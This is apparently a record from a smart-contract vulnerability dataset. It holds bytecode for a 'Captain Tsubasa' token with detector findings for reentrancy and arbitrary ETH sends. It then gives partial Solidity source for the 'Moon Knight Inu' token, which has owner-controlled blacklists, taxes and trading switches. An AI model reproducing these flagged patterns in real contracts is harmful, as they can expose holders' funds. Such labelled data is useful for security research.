0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063e8078d94146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b9190612cc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061285a565b61044c565b6040516101789190612cad565b60405180910390f35b34801561018d57600080fd5b5061019661046a565b6040516101a39190612e2a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061280b565b61047b565b6040516101e09190612cad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061277d565b610554565b005b34801561021e57600080fd5b50610227610644565b6040516102349190612e9f565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906128d7565b61064d565b005b34801561027257600080fd5b5061027b6106ff565b005b34801561028957600080fd5b506102a4600480360381019061029f919061277d565b610771565b6040516102b19190612e2a565b60405180910390f35b3480156102c657600080fd5b506102cf6107c2565b005b3480156102dd57600080fd5b506102e6610915565b6040516102f39190612bdf565b60405180910390f35b34801561030857600080fd5b5061031161093e565b60405161031e9190612cc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061285a565b61097b565b60405161035b9190612cad565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612896565b610999565b005b34801561039957600080fd5b506103a2610ae9565b005b3480156103b057600080fd5b506103b9610b63565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906127cf565b610c15565b6040516103ef9190612e2a565b60405180910390f35b34801561040457600080fd5b5061040d610c9c565b005b60606040518060400160405280600f81526020017f4361707461696e20547375626173610000000000000000000000000000000000815250905090565b60006104606104596111ce565b84846111d6565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104888484846113a1565b610549846104946111ce565b6105448560405180606001604052806028815260200161351160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fa6111ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a789092919063ffffffff16565b6111d6565b600190509392505050565b61055c6111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e090612d8a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106556111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990612d8a565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107406111ce565b73ffffffffffffffffffffffffffffffffffffffff161461076057600080fd5b600047905061076e81611adc565b50565b60006107bb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd7565b9050919050565b6107ca6111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084e90612d8a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5453554241534100000000000000000000000000000000000000000000000000815250905090565b600061098f6109886111ce565b84846113a1565b6001905092915050565b6109a16111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2590612d8a565b60405180910390fd5b60005b8151811015610ae557600160066000848481518110610a79577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610add90613140565b915050610a31565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b2a6111ce565b73ffffffffffffffffffffffffffffffffffffffff1614610b4a57600080fd5b6000610b5530610771565b9050610b6081611c45565b50565b610b6b6111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90612d8a565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ca46111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890612d8a565b60405180910390fd5b601160149054906101000a900460ff1615610d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7890612e0a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e1130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006111d6565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e5757600080fd5b505afa158015610e6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8f91906127a6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ef157600080fd5b505afa158015610f05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2991906127a6565b6040518363ffffffff1660e01b8152600401610f46929190612bfa565b602060405180830381600087803b158015610f6057600080fd5b505af1158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9891906127a6565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061102130610771565b60008061102c610915565b426040518863ffffffff1660e01b815260040161104e96959493929190612c4c565b6060604051808303818588803b15801561106757600080fd5b505af115801561107b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110a09190612929565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611178929190612c23565b602060405180830381600087803b15801561119257600080fd5b505af11580156111a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ca9190612900565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612dea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ad90612d2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113949190612e2a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140890612dca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147890612cea565b60405180910390fd5b600081116114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bb90612daa565b60405180910390fd5b6002600a819055506008600b819055506114dc610915565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561154a575061151a610915565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115f35750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115fc57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116a75750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117155750601160179054906101000a900460ff165b156117e457601160149054906101000a900460ff1661173357600080fd5b678ac7230489e8000081111561174857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179357600080fd5b601e426117a09190612f60565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561188f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118e55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118fb576002600a819055506008600b819055505b600061190630610771565b9050601160159054906101000a900460ff161580156119735750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198b5750601160169054906101000a900460ff165b156119b35761199981611c45565b600047905060008111156119b1576119b047611adc565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a6657600090505b611a7284848484611f3f565b50505050565b6000838311158290611ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab79190612cc8565b60405180910390fd5b5060008385611acf9190613041565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b2c600284611f6c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b57573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ba8600284611f6c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bd3573d6000803e3d6000fd5b5050565b6000600854821115611c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1590612d0a565b60405180910390fd5b6000611c28611fb6565b9050611c3d8184611f6c90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ca3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611cd15781602001602082028036833780820191505090505b5090503081600081518110611d0f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611db157600080fd5b505afa158015611dc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611de991906127a6565b81600181518110611e23577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e8a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111d6565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611eee959493929190612e45565b600060405180830381600087803b158015611f0857600080fd5b505af1158015611f1c573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b80611f4d57611f4c611fe1565b5b611f58848484612024565b80611f6657611f656121ef565b5b50505050565b6000611fae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612203565b905092915050565b6000806000611fc3612266565b91509150611fda8183611f6c90919063ffffffff16565b9250505090565b6000600a54148015611ff557506000600b54145b15611fff57612022565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b600080600080600080612036876122c8565b95509550955095509550955061209486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612175816123d8565b61217f8483612495565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121dc9190612e2a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000808311829061224a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122419190612cc8565b60405180910390fd5b50600083856122599190612fb6565b9050809150509392505050565b600080600060085490506000683635c9adc5dea00000905061229c683635c9adc5dea00000600854611f6c90919063ffffffff16565b8210156122bb57600854683635c9adc5dea000009350935050506122c4565b81819350935050505b9091565b60008060008060008060008060006122e58a600a54600b546124cf565b92509250925060006122f5611fb6565b905060008060006123088e878787612565565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061237283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a78565b905092915050565b60008082846123899190612f60565b9050838110156123ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c590612d4a565b60405180910390fd5b8091505092915050565b60006123e2611fb6565b905060006123f982846125ee90919063ffffffff16565b905061244d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124aa8260085461233090919063ffffffff16565b6008819055506124c58160095461237a90919063ffffffff16565b6009819055505050565b6000806000806124fb60646124ed888a6125ee90919063ffffffff16565b611f6c90919063ffffffff16565b905060006125256064612517888b6125ee90919063ffffffff16565b611f6c90919063ffffffff16565b9050600061254e82612540858c61233090919063ffffffff16565b61233090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061257e85896125ee90919063ffffffff16565b9050600061259586896125ee90919063ffffffff16565b905060006125ac87896125ee90919063ffffffff16565b905060006125d5826125c7858761233090919063ffffffff16565b61233090919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156126015760009050612663565b6000828461260f9190612fe7565b905082848261261e9190612fb6565b1461265e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265590612d6a565b60405180910390fd5b809150505b92915050565b600061267c61267784612edf565b612eba565b9050808382526020820190508285602086028201111561269b57600080fd5b60005b858110156126cb57816126b188826126d5565b84526020840193506020830192505060018101905061269e565b5050509392505050565b6000813590506126e4816134cb565b92915050565b6000815190506126f9816134cb565b92915050565b600082601f83011261271057600080fd5b8135612720848260208601612669565b91505092915050565b600081359050612738816134e2565b92915050565b60008151905061274d816134e2565b92915050565b600081359050612762816134f9565b92915050565b600081519050612777816134f9565b92915050565b60006020828403121561278f57600080fd5b600061279d848285016126d5565b91505092915050565b6000602082840312156127b857600080fd5b60006127c6848285016126ea565b91505092915050565b600080604083850312156127e257600080fd5b60006127f0858286016126d5565b9250506020612801858286016126d5565b9150509250929050565b60008060006060848603121561282057600080fd5b600061282e868287016126d5565b935050602061283f868287016126d5565b925050604061285086828701612753565b9150509250925092565b6000806040838503121561286d57600080fd5b600061287b858286016126d5565b925050602061288c85828601612753565b9150509250929050565b6000602082840312156128a857600080fd5b600082013567ffffffffffffffff8111156128c257600080fd5b6128ce848285016126ff565b91505092915050565b6000602082840312156128e957600080fd5b60006128f784828501612729565b91505092915050565b60006020828403121561291257600080fd5b60006129208482850161273e565b91505092915050565b60008060006060848603121561293e57600080fd5b600061294c86828701612768565b935050602061295d86828701612768565b925050604061296e86828701612768565b9150509250925092565b60006129848383612990565b60208301905092915050565b61299981613075565b82525050565b6129a881613075565b82525050565b60006129b982612f1b565b6129c38185612f3e565b93506129ce83612f0b565b8060005b838110156129ff5781516129e68882612978565b97506129f183612f31565b9250506001810190506129d2565b5085935050505092915050565b612a1581613087565b82525050565b612a24816130ca565b82525050565b6000612a3582612f26565b612a3f8185612f4f565b9350612a4f8185602086016130dc565b612a5881613216565b840191505092915050565b6000612a70602383612f4f565b9150612a7b82613227565b604082019050919050565b6000612a93602a83612f4f565b9150612a9e82613276565b604082019050919050565b6000612ab6602283612f4f565b9150612ac1826132c5565b604082019050919050565b6000612ad9601b83612f4f565b9150612ae482613314565b602082019050919050565b6000612afc602183612f4f565b9150612b078261333d565b604082019050919050565b6000612b1f602083612f4f565b9150612b2a8261338c565b602082019050919050565b6000612b42602983612f4f565b9150612b4d826133b5565b604082019050919050565b6000612b65602583612f4f565b9150612b7082613404565b604082019050919050565b6000612b88602483612f4f565b9150612b9382613453565b604082019050919050565b6000612bab601783612f4f565b9150612bb6826134a2565b602082019050919050565b612bca816130b3565b82525050565b612bd9816130bd565b82525050565b6000602082019050612bf4600083018461299f565b92915050565b6000604082019050612c0f600083018561299f565b612c1c602083018461299f565b9392505050565b6000604082019050612c38600083018561299f565b612c456020830184612bc1565b9392505050565b600060c082019050612c61600083018961299f565b612c6e6020830188612bc1565b612c7b6040830187612a1b565b612c886060830186612a1b565b612c95608083018561299f565b612ca260a0830184612bc1565b979650505050505050565b6000602082019050612cc26000830184612a0c565b92915050565b60006020820190508181036000830152612ce28184612a2a565b905092915050565b60006020820190508181036000830152612d0381612a63565b9050919050565b60006020820190508181036000830152612d2381612a86565b9050919050565b60006020820190508181036000830152612d4381612aa9565b9050919050565b60006020820190508181036000830152612d6381612acc565b9050919050565b60006020820190508181036000830152612d8381612aef565b9050919050565b60006020820190508181036000830152612da381612b12565b9050919050565b60006020820190508181036000830152612dc381612b35565b9050919050565b60006020820190508181036000830152612de381612b58565b9050919050565b60006020820190508181036000830152612e0381612b7b565b9050919050565b60006020820190508181036000830152612e2381612b9e565b9050919050565b6000602082019050612e3f6000830184612bc1565b92915050565b600060a082019050612e5a6000830188612bc1565b612e676020830187612a1b565b8181036040830152612e7981866129ae565b9050612e88606083018561299f565b612e956080830184612bc1565b9695505050505050565b6000602082019050612eb46000830184612bd0565b92915050565b6000612ec4612ed5565b9050612ed0828261310f565b919050565b6000604051905090565b600067ffffffffffffffff821115612efa57612ef96131e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f6b826130b3565b9150612f76836130b3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fab57612faa613189565b5b828201905092915050565b6000612fc1826130b3565b9150612fcc836130b3565b925082612fdc57612fdb6131b8565b5b828204905092915050565b6000612ff2826130b3565b9150612ffd836130b3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561303657613035613189565b5b828202905092915050565b600061304c826130b3565b9150613057836130b3565b92508282101561306a57613069613189565b5b828203905092915050565b600061308082613093565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130d5826130b3565b9050919050565b60005b838110156130fa5780820151818401526020810190506130df565b83811115613109576000848401525b50505050565b61311882613216565b810181811067ffffffffffffffff82111715613137576131366131e7565b5b80604052505050565b600061314b826130b3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561317e5761317d613189565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134d481613075565b81146134df57600080fd5b50565b6134eb81613087565b81146134f657600080fd5b50565b613502816130b3565b811461350d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071136665699b179ce8a31cba93a22f330111ccdee3f00e91ead6124a0f49c05f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,890
0x7832be5a534230faed63866ad2ee89f3f28fd722
/** *Submitted for verification at Etherscan.io on 2022-03-31 */ // SPDX-License-Identifier: UNLICENSED /** //https://t.me/moonknightinuETH //http://moonknightinu.com/ */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MoonKnightInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Moon Knight Inu"; string private constant _symbol = "MKINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 18; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xa834A3e2E80754D17699e601c152bdcF88A04147); address payable private _marketingAddress = payable(0xa834A3e2E80754D17699e601c152bdcF88A04147); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; //1% uint256 public _maxWalletSize = 30000000 * 10**9; //3% uint256 public _swapTokensAtAmount = 5000000 * 10**9; //.5% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), 